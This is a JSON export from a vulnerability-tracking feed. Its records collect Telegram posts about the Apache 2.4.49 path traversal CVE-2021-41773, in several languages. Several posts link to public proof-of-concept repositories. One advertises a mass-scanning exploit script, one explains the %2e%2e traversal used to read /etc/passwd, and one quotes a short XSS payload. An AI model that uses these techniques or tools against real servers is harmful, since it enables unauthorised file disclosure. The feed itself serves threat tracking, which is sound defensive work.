"2021-11-29T11:51:06.000000Z"}, {"uuid": "1f3fcf1f-d54d-4c57-8c60-b0cabed843cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hackingtoolsprvi8/2161", "content": "\ud83c\udf0e Mass Cve 2021-41773 \ud83d\udc93\n\nThis exploit Apache HTTP Server 2.4.49 (2021)\n\npath traversal and file disclosure vulnerability in Apache HTTP Server\n\nPython Version : Python3\n\nUsage :\npython3 -m pip install requests\npyyhon3 cve-2021-41773.py sitelist.txt 50\n\nresults will be automatically saved in vuln.txt\n\nLink Download : HERE", "creation_timestamp": "2022-05-14T22:40:54.000000Z"}, {"uuid": "3682ed11-da34-4e05-8d64-026a356263ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/arvin_club/4888", "content": "https://github.com/Balgogan/CVE-2021-41773", "creation_timestamp": "2021-11-11T18:58:08.000000Z"}, {"uuid": "ebfe29b2-68a7-432b-9794-c6c2a92cc3d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/9V4O5GyR-stJQC0BWlKyuz-Z5W_SuVUFieTI2mu8GO0G59d6", "content": "", "creation_timestamp": "2021-10-16T21:13:17.000000Z"}, {"uuid": "b7458988-38ec-48c4-a6c5-6a418c152547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/wwcYJfnnFRfwXhRTNZswnyr2qX5jmE63v09EPyapGsLqAlda", "content": "", "creation_timestamp": "2021-10-17T11:42:49.000000Z"}, {"uuid": "d51fcdfc-1581-492d-9423-659a773e9d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/secinfosex/41", "content": "CVE-2021-41773: Apache 2.4.49 Path Traversal\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0432\u0435\u0431\u0441\u0430\u0439\u0442\u0430 \u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0442\u044c, \u043d\u0443 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, /etc/passwd\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433 - \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.4.49 \u0440\u0435\u0448\u0438\u043b\u0438 \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043d\u044e \u0441 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043f\u0443\u0442\u0438, \u0438 \u0432\u044b\u043d\u0435\u0441\u043b\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e ap_normalize_path. \n\n\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 '.' \u0432 \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u043a\u0440\u0430\u043b\u0441\u044f \u0431\u0430\u0433 \u0432 571 \u0441\u0442\u0440\u043e\u043a\u0435 - \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442 \u043d\u0435 \u0443\u0447\u0435\u043b, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b url decode. \n\n\u0412 \u0438\u0442\u043e\u0433\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0447\u0435\u0440\u0435\u0437 %2e%2e \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u043e\u0441\u044c, \u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0443\u0442\u0438 ap_normalize_path, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0440\u0435\u0437\u0430\u0442\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0432\u0440\u043e\u0434\u0435 ../, \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0435\u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c.", "creation_timestamp": "2021-10-05T18:58:14.000000Z"}, {"uuid": "175523fc-cde7-4daf-ad35-ab84e3a5487d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/arvin_club/4735", "content": "\u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0648\u0628 \u0633\u0631\u0648\u0631 \u0622\u067e\u0627\u0686\u06cc \u0631\u0648 \u0628\u0631\u0648\u0632 \u06a9\u0646\u06cc\u062f\nhttps://httpd.apache.org/security/vulnerabilities_24.html\n\nhttps://github.com/creadpag/CVE-2021-41773-POC//", "creation_timestamp": "2021-10-08T14:54:33.000000Z"}, {"uuid": "d3f02bf4-edf3-489c-8cda-d094e1804ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/gpOUF48JYpPbayv82hDEIKK44R-nqK7VlljkxTI4D0eq459K", "content": "", "creation_timestamp": "2021-10-06T15:42:18.000000Z"}, {"uuid": "914c46ed-3e21-4b88-8a45-b11035a27ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4454", "content": "#exploit\n1. CVE-2021-39239:\nA vulnerability in XML processing in Apache Jena <4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server\nhttps://github.com/AKIA27TACKEDYE76PUGU/CVE-2021-39239\n\n2. CVE-2021-24620:\nRCE in WordPress Simple Ecomm. Shopping Cart <2.2.5\nhttps://github.com/AKIA27TACKEDYE76PUGU/CVE-2021-24620\n\n3. CVE-2021-41773:\nApache 2.4.49 Path Traversal\nhttps://github.com/numanturle/CVE-2021-41773\nhttps://github.com/habibiefaried/CVE-2021-41773-PoC", "creation_timestamp": "2024-05-14T02:35:13.000000Z"}, {"uuid": "dce97f88-602a-4d40-bda9-032dae6f60df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/4637", "content": "#Threat_Research\n1. Apache HTTP Server CVE-2021-42013, CVE-2021-41773 Exploited in the Wild\nhttps://blogs.juniper.net/en-us/threat-research/apache-http-server-cve-2021-42013-and-cve-2021-41773-exploited\n2. CVE-2021-39341:\nA vulnerability in the the OptinMonster plugin\nhttps://www.wordfence.com/blog/2021/10/1000000-sites-affected-by-optinmonster-vulnerabilities", "creation_timestamp": "2021-10-31T16:24:28.000000Z"}, {"uuid": "b1aed2b9-f513-4b91-9582-fbcb26f8f519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4701", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Oct 1-31)\nCVE-2021-41773 - Apache 2.4.49 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4454\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-42013 - Apache 2.4.50 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4475\nCVE-2021-22205 - GitLab CE/EE RCE\nhttps://t.me/cybersecuritytechnologies/4602\nCVE-2021-40449 - UaF in the NtGdiResetDC function of the Win32k driver\nhttps://t.me/cybersecuritytechnologies/4535\nCVE-2021-40438 - SSRF in Apache2 mod_proxy\nhttps://t.me/cybersecuritytechnologies/4529\nCVE-2021-30858 - UaF in WebKit\nhttps://t.me/cybersecuritytechnologies/4545\nCVE-2021-30883 - iOS IOMFB vulnerability\nhttps://t.me/cybersecuritytechnologies/4497\nCVE-2021-30892 - Shrootless Vulnerability in MacOS\nhttps://t.me/cybersecuritytechnologies/4623\nCVE-2022-1337 - \"View Source\"\nhttps://mobile.twitter.com/megab0t_/status/1452848917205458945\nPoC: JavaScript:https://#%0aalert('xss')", "creation_timestamp": "2021-11-08T11:07:01.000000Z"}, {"uuid": "171986fb-7232-4f58-a0c8-95944a034a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/GithubRedTeam/96584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-41773-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Shams-Ul-Mehmood\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 10:59:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T12:00:07.795005Z"}, {"uuid": "929e3c67-9169-4920-a7ca-bd63b578dbcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cisoclub/1063", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (18-24 \u043e\u043a\u0442\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcbb\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 AMD \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \ud83e\uddb9\u200d\u2642\ufe0f\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Meltdown.\n\n2\ufe0f\u20e3 \u0412 \ud83d\udcd2WinRAR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \ud83d\ude1f\u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \n\n3\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u0443 \u043f\u043e \ud83d\udd13\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Polygon (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Ethereum), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u043e\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2013 \ud83d\udcb02 \u043c\u043b\u043d. \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \n\n4\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Swascan \ud83d\udcdd\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 DVR Visual Tools. \n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Apache Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udd27\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2021-41773, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 cPanel Security.\n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Google \ud83e\uddfe\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \ud83c\udf0eChrome.\n\n7\ufe0f\u20e3 \u0412 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Brizy Page Builder \u0434\u043b\u044f \ud83e\uddfeWordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u043e\u0442\u0435\u043d \u0442\u044b\u0441\u044f\u0447 \ud83d\udda5\u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432. \n\n8\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Microsoft \ud83d\udcc3\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \ud83d\udcc881 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438. \n\n9\ufe0f\u20e3 \u0412 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Slack \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u200d\u2642\ufe0f\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \ud83e\udd37\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0437\u0430 \u0435\u0451 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438.", "creation_timestamp": "2026-08-03T22:00:05.392840Z"}, {"uuid": "3a6c79a4-8869-4c14-b422-55bd151a5c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cisoclub/1063", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (18-24 \u043e\u043a\u0442\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcbb\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 AMD \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \ud83e\uddb9\u200d\u2642\ufe0f\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Meltdown.\n\n2\ufe0f\u20e3 \u0412 \ud83d\udcd2WinRAR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \ud83d\ude1f\u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \n\n3\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u0443 \u043f\u043e \ud83d\udd13\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Polygon (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Ethereum), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u043e\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2013 \ud83d\udcb02 \u043c\u043b\u043d. \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \n\n4\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Swascan \ud83d\udcdd\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 DVR Visual Tools. \n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Apache Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udd27\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2021-41773, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 cPanel Security.\n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Google \ud83e\uddfe\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \ud83c\udf0eChrome.\n\n7\ufe0f\u20e3 \u0412 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Brizy Page Builder \u0434\u043b\u044f \ud83e\uddfeWordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u043e\u0442\u0435\u043d \u0442\u044b\u0441\u044f\u0447 \ud83d\udda5\u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432. \n\n8\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Microsoft \ud83d\udcc3\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \ud83d\udcc881 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c 